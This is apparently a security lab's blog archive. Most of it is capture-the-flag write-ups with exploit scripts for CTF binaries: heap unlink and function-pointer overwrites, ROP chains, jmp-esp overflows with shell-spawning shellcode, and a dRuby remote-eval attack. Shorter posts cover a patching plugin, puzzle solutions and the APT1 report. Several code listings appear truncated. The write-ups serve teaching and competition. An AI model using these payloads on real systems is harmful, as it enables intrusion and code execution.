Baby’s First Heap Exploit – Defcon Quals 2014


This challenge presents us a with 32 bit, ELF executable with debugging information. We connect and see some allocation and freeing happening and can take a reasonable guess as to the fact that there may be a heap overflow. This guess is confirmed with some simple fuzzing, mainly sending input larger then 260 bytes.

First connection

First connection

We then load the binary into Hopper and get a cursory overview of the functionality. The pseudo code produced is shown below:

function sub_804890b {
    esp = (esp & 0xfffffff0) - 0x1340;
    _setvbuf(*stdout@@GLIBC_2.0, 0x0, 0x2, 0x0);
    _signal(0xe, sig_alarm_handler);
    _puts("\\nWelcome to your first heap overflow...");
    _puts("I am going to allocate 20 objects...");
    _puts("Using Dougle Lee Allocator 2.6.1...\\nGoodluck!\\n");
    *exit_func = do_exit;
    _printf("Exit function pointer is at %X address.\\n", exit_func);
    while (*(esp + 0x133c) <= 0x13) {
            randrange(0x200, 0x500);
            if (*(esp + 0x133c) == 0xa) {
            *(esp + *(esp + 0x133c) * 0x8 + 0x10) = malloc(*(esp + 0x1338));
            *(esp + *(esp + 0x133c) * 0x8 + 0x14) = *(esp + 0x1338);
            _printf("[ALLOC][loc=%X][size=%d]\\n", *(esp + *(esp + 0x133c) * 0x8 + 0x10), *(esp + 0x1338));
    _printf("Write to object [size=%d]:\\n", *(esp + 0x64));
    get_my_line(esp + 0x330, 0x1000);
    _memcpy(*(esp + 0x60));
    _printf("Copied %d bytes.\\n", *(esp + 0x1334));
    while (*(esp + 0x133c) <= 0x13) {
            _printf("[FREE][address=%X]\\n", *(esp + *(esp + 0x133c) * 0x8 + 0x10));
            free(*(esp + *(esp + 0x133c) * 0x8 + 0x10));
    return 0x0;

As can be seen the overview here is relatively clear. The program allocates 20 blocks of memory onto the heap, printing out each address as it goes, then locates the block of size 260 and reads up to 0×1000 bytes of user input into it. If this block overflows into the next block it will corrupt the next block’s metadata. Next the program frees the all the allocations potentially leading to an exploitable condition if the heap metadata is untrustworthy. An important part to note here is the fact that the program has been compiled against Doug Lea malloc rather then a more modern version so protections like safe unlinking are not present. Knowing these things we proceeded to write a standard unlink exploit highlighted in the infamous Once Upon a Free() … , located here:

Example unlink technique

Example unlink exploitation technique


One additional note: the binary does not have any socket functionality we used socat to emulate the game servers configuration.


First step is to craft the fake metadata to trick the unlinker into thinking the block we corrupt is still valid. We can create a 4-byte write anything anywhere condition by corrupting the forward and backward pointers of the block. Here I got stuck for a few moments deciding what to corrupt with this exploitation primitive. Running the binary with strace we note that mprotect is called on the heap, marking it executable. All that we need to do is divert execution to our block and place shellcode there to achieve arbitrary code execution. We chose to overwrite the GOT with the address of our heap block and fill it with shellcode.  We overwrite printf due to the fact that it is called multiple times after our overwrite happens thus making for a perfect trigger function. From here it is simply a matter of launching our exploit and retrieving the flag. The final exploit is below and also on our github.

from isis import *

debug = False

# parse the output to get heap address we will be writing to
def get_address(x):
	address = ""
	for i in x:
		if "260" in i[20:]:
			address = i
	address = address[12:19]
	return "0x"+address

s= socket.socket()
#s.connect(("", 4088))

#local /bin/sh shellcode
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68"

if debug: #give time to attach debugger

x = s.recv(0x500)
x = x.split("\n")
final = int(get_address(x),16)
print "HEAP ADDRESS: " + hex(final)

#address of printf in the got
payload = lei((0x0804c004-0x8))
#overwrite with our heap block
payload += lei(final+0x8)
#nop sled + shellcode + nops
payload += "\x90" * 100
payload += shellcode
payload += "\x90"* ((252-100)-len(shellcode))
#large hex numbers to be interpreted as negative values by the unlinker
payload += lei(0xfffffff8)
payload += lei(0xfffffffb)

s.send(payload +"\n")
p = s.recv(0x500)
if debug:
	print p
Posted in CTF | 2 Comments

The Other Kind of Patch

IDAPython is an IDA plugin which allows Python scripts to access IDA’s API, IDC, and all the modules already in Python. Most importantly, IDAPython allows us to manipulate IDA’s disassembly programmatically without leaving the familiarity of Python.

During capture the flags and throughout the process of reverse engineering, simple, easy binary patching is desired. A common approach is to search through a file in a hex editor for a given set of bytes and modify them for the desired effect. This is very often guess work and can become unnecessarily complicated. OllyDbg allows you to assemble an instruction at a given address. Slightly better, but OllyDbg has only recently begun supporting x86_64. Reverse engineers shouldn’t be limited by the supported architectures of their tools.

We at the ISIS lab have written what we call Fentanyl. Fentanyl is ISIS’s IDA patching plugin. With it, patches can be applied to IDA’s disassembly straight from its console window, from keyboard shortcuts, or with an optional context menu. Basically, right click to patch. Save. Done.

Demonstrating some patching in Fentanyl

Using Fentanyl to patch out the CMU bomb lab’s explode_bomb function

Fentanyl exposes shortcuts for nopping out instructions, xrefs to a given address, inverting jumps, saving the binary, and assembling instructions. Since binary modification is often a tricky business, Fentanyl also allows a user to undo and redo modifications to the idb.

Assembling new instructions into a binary is easy with Fentanyl

Assembling new instructions into a binary is easy with Fentanyl

In addition to patching using the aforementioned methods, Fentanyl also exposes other functionality to automate tasks.

The first of which is “binary neutering.” This involves automatically patching out functions which make debugging binaries annoying. At the moment neutering removes calls to fork, alarm, setuid, setgid, getpwnam, setgroups, and chdir.

Demonstrating Fentanyl's binary neutering feature

Demonstrating Fentanyl’s binary neutering feature

A slightly less patching oriented feature, Fentanyl features a code cave finder. Code caves are sections of a binary which are executable in which we can add our own assembly without heavily disturbing the original assembly.

Spelunky makes it easy to find code caves in a binary

Spelunky makes it easy to find code caves in a binary

We’ve been making great use of Fentanyl and while it’s not a cure-all it’s been very helpful in certain scenarios. We’d love for you to submit feature requests and let us know what you think about Fentanyl!


Posted in Uncategorized | 2 Comments

Aski Olympic CTF 2014 writeup

Brooklynt Overflow recently participated in Olympic CTF finishing in 29th place. This is a write up of the aski challenge.

The aski program is a large stripped statically compiled 32 bit elf binary that opens a window and plays a video of a skier performing a trial as a series of ASCII symbols.

I suspected that the key was embedded in one of the frames because each frame goes by so quickly. The first thing I did was try grepping for the key, but no luck. I did however find many references to the INFLATE and DEFLATE algorithms (part of zlib), ssl and what I suspect to be AAlib although I didn’t find a copyright string. So, best case scenario there is some compressed ASCII that contains the flag, worst case scenario there is encrypted compressed AA formatted data that gets drawn to the screen. Great, I changed my strategy and looked for the routines responsible for drawing the frames to the window.

I discovered that the function at 0x804AB00 is responsible for opening the window and that the content of the video is played by the function at 0x804ABB0 both of which are called from main. The function 0x804ABB0 accepts two function pointers and a pointer to some data. I discovered that the pointer to data had the magic number for zlib compressed data. I dumped that memory and decompressed it again grepping for the flag but came up dry.

The second function pointer argument on the other hand was interesting. I discovered that by setting a breakpoint on the end of the longest code path I could single step through frames of the video.

Analyzing the video frame by frame I noticed that in the lower left the characters of the key were appearing every several frames. Below is the compilation of important frames.

The key is CTF+WINT3R+S3A50N

You can find the .gdbinit file with the breakpoints and the binary in the ISIS CTF-Solutuions repo on Github.

Posted in Uncategorized | Leave a comment

Make Similiar Olympic CTF 2014 writeup

For 400 points, Olympic CTF provided the Make Similar challenge. The description was “Listen carefully and try to figure out. Hint: 120 LPM.”

The link pointed to a stream for an ogg file which played unintelligible beeps and static. The stream has been backed up with the challenge relevant data here.

First the key is to identify what the audio is. The hint makes it obvious that the data is some sort of fax. Going on this assumption, I found SeaTTY which would take the audio and convert it back into a weatherfax. Apparently meteorologists used to make use of this kind of software to transfer monochrome images. Sounds like the original Snapchat.

SeaTTY will take the playing audio and convert it back into a weather fax. I couldn’t get it to accept a file and translate that so I ended up using Stereo Mix on my computer to play the sounds into a VM running SeaTTY.

About 20 or so minutes later we take our decoded weather fax which looks something like this

weather fax

Weather fax decoded from Olympic CTF’s Make Similar Challenge

The images should repeat given enough time but at this point I was intrigued by the encoded text. Out of instinct I assumed the text was uuencoded but it is in fact xxencoded.

xxencoded text

xxencoded text in the weather fax

Tesseract’s output was close but overall had too many mistakes to be worthwhile. I ended up transcribing all of it by hand which led to a few mistakes. Because my text had some flaws and I was uudecoding it, I recieved completely incorrect files.

At this point I shared out my files and my teammate Brett Giller noticed my mistakes and solved the challenge by fixing my slightly incorrect text (2 letter case mistakes), properly xxdecoding it, and opening the gzip file that was contained.

Inside the gzip we found a python file with the key:


The correctly transcribed text:

section 1 of 1 of file rfax_man
begin 644 rfax_man
sum —r/size 7468/769 section (from "begin" to "end")
sum —r/size 36513/540 entire input file
Posted in Uncategorized | Leave a comment

NULLCON CTF Vuln4 – Stack Buffer Overflow

Brooklynt Overflow Recently Competed in HackIM CTF. This is a writeup of the vuln4 service. The author was kind enough to provide source to this challenge which is nice but ultimately not necessary or terribly helpful.

#include <sys/types.h>
#include <sys/stat.h>

#define STACK 64
#define HEAP 64
#define FLAG "./flag"

/* gcc -masm=intel -z norelro -fno-stack-protector -o chall_heap chall_heap.c */

const char *malloc_error = "Memory allocation failed!\n";
const char *file_error = "Opening flag failed!\n";
const char *pwn = "Good Enough? Pwn Me!\n";

void main(int argc, char **argv) {
    char *flag;
    int fd;
    char user[STACK];
    flag = malloc(HEAP);

    if (flag == NULL) {
	write(1, malloc_error, strlen(malloc_error));

    fd = open(FLAG ,O_RDONLY);
    if (fd < 0){
        write(1, file_error, strlen(file_error));

    if(setresuid(getuid(), getuid(), getuid()) < 0){

    read(fd, flag, HEAP-1);

    write(1, pwn, strlen(pwn));

    read(0, user, 0x800);

   asm (".intel_syntax noprefix;"
   "xor ebx, ebx;"
   "xor ecx, ecx;"
   "xor esi, esi;"
   "xor edi, edi;"


Vuln4 is a service that reads data from the user into a stack based buffer which is much too small. The goal is to read the contents of the flag file out of memory. This is made difficult because the author of this program zeros out the registers before returning and the way the stack is organized by the compiler.


flag_fd and flag_heap_buffer will be trashed by our exploit.

At the time we are able to gain control of execution we have no immediate reference to where the heap buffer containing the flag is located. This is not an impossible barrier to overcome. We know that if we can create another allocation of reasonable size with malloc it will be allocated shortly after the block with the flag inside of it. We can then do some pointer arithmetic to locate the flag.

For this challenge, NX and ASLR have been enabled, we cannot return to the stack to execute arbitrary code. Because we have immediate control of the stack and a large stack space to work with we can employ vanilla return oriented programming techniques to perform the computations we need and to write the flag back to ourselves.

Gadget collection

I compiled a list of ROP gadgets from the program and began meditating on which gadgets to use.
I decided on the following:

0x080486f7# mov dword [esp+0x04], eax ; call dword [ebx+esi*4-0x000000E0]
0x0804874e# add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp
0x080486a7# pop esi ; pop edi ; pop ebp
0x080483a0# pop ebx
0x080484df# pop pop pop ret or equiv
0x0804870f# pop ret or equiv
0x080483f0# malloc@.PLT
0x08048440# write@.PLT

In addition to the previous code snippets I also identified a few valuable data elements:

0x080499e4# write@.GOT
0x080498d8# writable memory
0x08048386# -4 as dword

Return Oriented Program Sequence

  • Trigger a call to write@.PLT. This shouldn’t be necessary but I want to make triple sure the GOT entry for write is populated before we need it.
  • Trigger a call to malloc. The contents of the allocation are important but we can use the return value to find the address of the heap block with the contents of flag.
  • Set the ebx register with the pop ebx gadget. When we execute the gadget add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp we want ebx to be pointing at -4, therefore we set ebx to be the address of -4 + 0x0B8A0008 ahead of time and also each time the gadget executes because it contains a pop ebx.
  • Execute a series of add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp gadgets. These will get eax pointing to the desired allocation in the heap. I determined in my debugger that subtracting 72 from eax would yield the address of the first block, therefore we execute this gadget 18 times.
  • During the last execution of this gadget prepare for the next operation by setting ebx to be the address of write@.GOT +0xe0. The addition of the small constant 0xe0 is to compensate for the next gadget: mov dword [esp+0x04], eax ; call dword [ebx+esi*4-0x000000E0]. This gadget brings everything together. mov dword [esp+0x04], eax writes the appropriate pointer argument onto the stack to prepare for the call to write. We make sure that esi is zero and ebx is the address of write@.GOT +0xe0. when the dereference is made we pull a pointer to write in and call it.
  • The program crashes after returning from the call and we collect our flag.

Exploit code

#Evan Jensen (wont)
#Stack buffer overflow exploit w/ ROP for vuln4 HackIM CTF

from isis import *
import re

malloc_plt= 0x80483f0
write_plt = 0x8048440
write_got = 0x80499e4
hlt       = 0x8048753 #hlt ret
pppr      = 0x80484df #pop pop pop ret or equiv
pr        = 0x804870f #pop ret or equiv
space     = 0x80498d8 #writable memory

pop_ebx=0x080483a0#: pop ebx

write_stack_call=0x080486f7# mov dword [esp+0x04], eax ; call dword [ebx+esi*4-0x000000E0]

add_eaxpppr=0x0804874e# add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp

pop_esi=0x080486a7# pop esi ; pop edi ; pop ebp

# (gdb) x /d 0x08048382+4
# 0x8048528 <main+20>:-4

#lei is a wrapper for pack in
leak_malloc=lei(write_plt,pppr,1,space,1,#make sure the got for write gets filled in
                malloc_plt,pr,8,#eax has pointer to heap
                #we really want a way to subtract some from eax
                pop_ebx,ptr_neg4+0x0B8A0008, #large constant subtracted in next gadget
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,

                add_eaxpppr,0,write_got+0xe0 ,0, #eax -= 72; ebx=write_got+e0

                #eax is now a suitable ptr for reading from
                #write_plt is now in ebx adjusted for upcomming call
                pop_esi,0,0,0,# pop esi ; pop edi ; pop ebp


s=get_socket(('localhost',2323)) #from
raw_input('hit enter to exploit')

#print re.findall('[0-9a-fA-F]{32}',s.recv(0x1000))
print s.recv(0x1000)

You can find this exploit and many others in the CTF-Solutions repo on github.

Posted in Bugs, Code Auditing, CTF, Exploitation Mitigation Techniques, Exploitation Techniques, Static Analysis, Uncategorized, Vulnerabilities | Leave a comment

NULLCON CTF Vuln3 – Heap Buffer Overflow

Brooklynt Overflow Recently Competed in HackIM CTF. This is a writeup of the vuln3 service.
Vuln3 is a service exposed to the Internet via xinetd or something similar. It accepts input from you writes it to the stack, parses it and performs actions based on it. It does this until you disconnect. The important parts of user input are dwords at offset 0×28 and 0×50. The dword at offset 0×28 tell the service what operation to perform. The dword at offset 0×50 is used only when you ask the service to allocate some memory for you, it is then used as the argument to malloc.

.text:08048583 lea eax, [esp+230h+safe_stack_buffer_512]
.text:08048587 mov eax, [eax+50h]
.text:0804858A mov [esp+230h+my_size_50], eax
.text:08048591 lea eax, [esp+230h+safe_stack_buffer_512]
.text:08048595 mov eax, [eax+28h]
.text:08048598 mov [esp+230h+my_verb_28], eax

Cross-referencing the command variable.

The service supports four functions that you can control. Before you can control any of the application’s state an allocation of size 0×100 bytes is made with malloc.


Allocate a block of size 8 and put two function pointers inside it. The first function pointer points to a function that calls puts("Hello world") The section is a pointer to a function that calls puts("Bye bye World").


The block we’re going to corrupt.

Allocate a block of a size specified by the dword at offset 50. Call fgets to populate it. Create a block of arbitrary size who’s contents we control.


The block we control.

Call function pointers and free blocks. Check to make sure that we have allocated the block of size 8 with function pointers inside. If we have, call the function pointers and free the block. Also check to see if we have allocated a block with an arbitrary size and free that too.


Where we’re going to hijack control.

Copy the contents as a string from the block of arbitrary size to the block of fixed size that was allocated at the beginning of the program. This will cause a buffer overflow on the heap if the block that we allocate is larger than size 0×100 and doesn’t contain any null bytes.


The vulnerability.

The vulnerability here is a heap buffer overflow. What we need to do is manipulate the heap state such that the block of size 8 immediately follows the block allocated in the beginning of the program. Then we can allocate a large block to overflow the block with a static size. That overflow will corrupt the function pointers. We can then ask the application to call the function pointers thereby escaping intended control flow.

Choosing a suitable trampoline

Astute hackers will note that we do not control the stack however stack layout is predictable. Right before the function is called the value on the top of the stack is a pointer to a buffer that we control.  The pointer is pointing at the stack buffer and because the organizers are nice folks, the stack and heap are executable. That means we have 0×28 bytes to work with for writing shellcode. That’s nice but I was having trouble opening a shell during the competition so I opted for more space. I wrote a small trampoline that punts execution to the heap block that we have arbitrary control over.


Program header analysis.

The flow of exploitation

  • Allocate the small block. It will be allocated directly after the block of size 0×100
  • Allocate a large block with pointers to pop; ret to overwrite the function pointers in the small block.
  • Copy the large block into the block of size 0×100. If it is large enough it will corrupt the small block.
  • Next we create another large block that will contain our shellcode. Now we have no shellcode length constraints.
  • Issue the command to call the pointers and free the block, naturally divert control before the free. Before the padding to the command dword, put the trampoline (call [esp+0x228]) At the time of the call, [esp+0x228] is the pointer to our heap block.
  • You’re now executing arbitrary code from the heap.

The sequence of code that will execute when we hijack control.

#Evan Jensen (wont)
#Heap buffer overflow for vuln3 HackIM CTF

from isis import *
import sys

shell_emulator=( "\x31\xc0\x99\x66\xba\xff\x01\x89\xe1\x31"
                 ) #from shellcode repo

get_flag=( "\xeb\x29\x5b\x31\xc9\xb1\x04\x6a\x05\x58\xcd\x80\x93\x89\xe1"
           ) #open, read, write flag.txt

def pad_msg(msg):
    return msg+'\n'

def allocate_ptr_obj(s):

def call_and_free(s):
    heap_trampoline="\xff\x94\x24\x28\x02\x00\x00" #call [esp+0x228]


def allocate_my_block(s,contents):
    #program calls fgets, waits for us to fill block

def copy_my_block(s):

def crash(s):

    print 'allocated ptrs'

    print 'allocated large block'

    print 'smashed ptr block'

    print 'allocated shellcode'

    print 'called smashed ptrs'

    return s

if __name__=="__main__":
    s=get_socket(('localhost',2323)) #from
    raw_input("hit enter to exploit") #for debugging
    print 'Enjoy your shell'
    telnet_shell(s) #from

You can find this exploit and many others in the CTF-Solutions repo on github.

Posted in Bugs, Code Auditing, CTF, Static Analysis, Vulnerabilities | Leave a comment

NullCon Vuln 2 Stack Based Buffer Overflow

Exploitation 200 HackIM


This challenge gave us a binary called srv2. Running file on the binary we are shown

File analysis

File analysis.

CheckSec  revealed there was no NX but we assumed ASLR was enabled on the challenge server. From there we started the binary up and connect to it on localhost port 6776. I am greeted with a screen asking for input and putting in arbitrary values yields the output “invalid”.

File Response

File Response

Next I start-up my favorite disassembler, Hopper, and take a look to see what is causing this “invalid”. Checking strings we are able to see where “invalid” is cross referenced and are able to trace back into the main function.

Disassembly of comparison

Disassembly of Main Function.

As can be seen above there is a call to strchr and a compare of the returned value. A quick man search shows the strchr  function returns a pointer to the first occurrence of the character ‘c’ in the string ‘s’. Knowing this I wired a brute forcer to brute force printable characters and check output to see when information was recorded. The brute force code is shown below.

def gen_passwords(lst = None):
USE: for i in gen_passwords(): Generates a brute force
list of all chars between decimal 30
and 123 also can take a pre made list
if lst == None:
    lst = []
    for i in range (30, 123):

    for i in range(10):
        for K in itertools.product(lst, repeat=i):
            yield "".join(K)

The result of this showed that appending \\: to the front of a string allowed the information to be properly recorded. After the CTF static analysis of the main function revealed 0x3a, “:”, is easily seen in the disassembled function and no brute forcing was necessary.  Next was to see where the potential vulnerable area was.


Buffer Overflow

Buffer Overflow.

As can be seen there is an unbounded strcpy leading to a vanilla buffer overflow. The only thing left was to prepare the exploit. We calculated the size needed to overflow the return address to be 277.  If we analyze the stack after returning to an invalid address we can see esp is pointing to data we control.

Overloaded Stack

Corrupted Stack.


Doing a quick look through with object dump reveals a wonderful instruction called “jmp esp”

Jmp Esp


Since before we are able to control the value at ESP, we can simply put the address of this gadget as our return address and direct execution to shellcode on the stack. A gadget like this is known as a trampoline and is further explained in Bypassing Memory Protections: The Future of Exploitation. This allows us to bypass ASLR by not needing to know where in memory our shell code is but simply use a relative jump to a known register. Below is the final code for this exploit using a connect back shell code binding to port 4444.

from isis import *
from struct import pack

bind_4444 =(  "\xeb\x12\x5b\x31\xc9\xb1\x75\x8a\x03\x34"

load = "\"\":"
load = "\"\":"
load += ("A" *20 + "B" * 20 + "C" * 20 +
"D" * 20 + "E" * 20 + "F" * 20 +
"0000111122223333444455556666777788889999" +

jmp_esp=0x08048817 #: jmp esp
load += pack("I", jmp_esp)

load += pack("I", 0x90909090) * 200
shellcode = bind_4444
load += shellcode

#s = get_socket(('', 6776))
s = get_socket(('LOCALHOST', 6776))

s.send(load + "\n")

Posted in Bugs, CTF, Exploitation Techniques, Static Analysis, Vulnerabilities | Leave a comment


This challenge was relatively straightforward, especially given the fact that we have access to the source.

require 'drb/drb'

class TimeServer
  def initialize
    @flag = "FLAG"

  def get_current_time

$SAFE = 1


So as it turns out, dRuby (drb) is a “Distributed object system for ruby”, which allows ruby objects to evoke methods in other processes or even across a network connection. Their way of protecting this from abuse is to set $SAFE = 1 (ruby safety levels to 1), which is meant to disable eval and friends for tainted input, but this apparently does not work as I simply use a variant of eval anyway. Also as it turns out we can simply get the flag by forcing an error on the other end. Chances are the new object being created does not count as a tainted object some how.


require 'drb'
obj =, 'druby://')

The exploit simply starts up a client drb service, and then tries to eval “junk” under the context of obj.
A proper exploit of this would be to use obj.instance_eval(“exec ‘cat server.rb’”), but forcing an error on the server will work too.

$ ruby vuln100.rb
vuln100.rb:4:in `instance_eval': undefined method `server' for # (NoMethodError)
        from (druby:// /usr/lib/ruby/1.9.1/drb/drb.rb:1508:in `perform'
        from (druby:// /usr/lib/ruby/1.9.1/drb/drb.rb:1586:in `block (2 levels) in main_loop'
        from (druby:// /usr/lib/ruby/1.9.1/drb/drb.rb:1582:in `loop'
        from (druby:// /usr/lib/ruby/1.9.1/drb/drb.rb:1582:in `block in main_loop'
        from (eval):1:in `'
        from vuln100.rb:4:in `instance_eval'
        from vuln100.rb:4:in `'

References :

Posted in Uncategorized | Leave a comment

CSAW CTF Finals 2013 VMs

A few weeks ago the CSAW CTF Finals were held at NYU-Poly with 15 finalist teams competing.

We’re releasing most of the CSAW CTF Finals challenges in VMs for those who were not competing to download and try on their own.

CSAW Finals VM - MD5: d13e29da1b3d59a5407fd9dc6e956e4f

Brad Oberberg VM - MD5: d1aeeb12592b31896f3ea663c3c144b6


Posted in Uncategorized | Leave a comment

APT1 Afterthoughts

After reading through the Mandiant APT1 report detailing the presence of the Advanced Persistent Threat group 1 (APT1) which has been attacking a devastating number of companies and governments around the world a variety of questions come to mind.  Considering the amount of time that has passed since Mandiant published the APT1 report in February one cannot help but wonder what the current status of APT1 is.  As a quick overview for those who didn’t finish the report, Mandiant leaves us with two very profound statements regarding the composition of the APT1 group.


Mandiant’s Proposed Conclusions

I’m definitely not one to make this distinction, and as such I will not be staging an argument one way or another here.  However, I was left curious regarding the status of the group after so much time has gone by and further why some in the security industry reacted in such a poor manner towards the report being published.

APT1 – 3 Months Later

To begin discovering the current status of the APT1 group, one need do nothing more than some basic research concerning the topic.  Currently there are a multitude of articles claiming that the APT1 group is back in action; which shouldn’t come as a surprise to anyone considering Mandiant’s CSO discussed APT1 resurfacing within a month of the report being published.

Essentially, any group operating for as long and as covertly as APT1 had been only to suddenly be exposed to the world as having their hands in the metaphorical cookie jar would scatter immediately.  However, once the dust had settled, and it became apparent to APT1 that many of the previously vulnerable companies were still indeed open and susceptible to attack, why would they have stopped?  It would be in their favor to simply modify their code to change the hashed signatures, register some new domain names to redirect to their C2 servers, and resume business as usual.

Regardless of their identity it’s painfully obvious that there’s massive profits in what they’re doing, albeit not necessarily monetary.

The Response of our Community

What I found most intriguing regarding the entirety of Mandiant releasing this report is not necessarily the content, but more the security communities response to its release.  Initially, upon finishing the report, it would seem that what Mandiant has done is give a leg up to information security companies everywhere in the defenses against APT1.  Yet, for some reason, many feel that Mandiant had various, potentially misplaced, motivations for publishing the paper, e.g. marketing or that the research done might have been shoddy and inaccurate.

Regardless of one’s stance on these claims, I feel them all to be largely unfocused.  This report was very well put together as it is comprised of roughly 55 pages of nothing but data and evidence regarding APT1′s movements, followed by 2 pages offering 2 powerful possibilities. The entirety of cyber security professionals should all at least agree that the APT1 group poses a substantial threat to not just the United States, but the entire online world as Mandiant’s map below also suggests.


Entities affected by APT1

Mandiant publishing this information detailing the specifics of how this group moved and what their motivations were should truly be the takeaway of the report, as opposed to any assumptions about what Mandiant might have been implying.  Furthermore, Mandiant wasn’t the only entity which suggested APT1′s Chinese origins as the APT1 malware samples are were available online for one to perform one’s own forensic analysis. (As of October these malware samples seem difficult to get ahold of)

Concluding Thoughts

In short, the true question likely being explored by Mandiant among other companies at this moment isn’t regarding whether or not APT1 is back, but to what extent are they back.  It seems clear that APT1 has done relatively little to cover their tracks in this second go around of attacks, and even in the first, but is this simply a guise to draw attention away from other, potentially more devastating, APT1 actions.

It is because of these higher tier threats that I find myself excited to be where I am today.  Having just been accepted to NYU-Poly’s Masters of Cyber Security program, and managed my way into Brooklynt Overflow, it is these types of threats that I am eager to tackle going into the future.

Regardless of the Chinese government’s involvement in these types of groups, it remains clear that the United States possess an array of companies and federal entities ready to combat these types of threats online, and it is because of this I feel that continued openness of research regarding malicious entities to be admirable and something we should all strive for.

Posted in Uncategorized | Tagged , | Leave a comment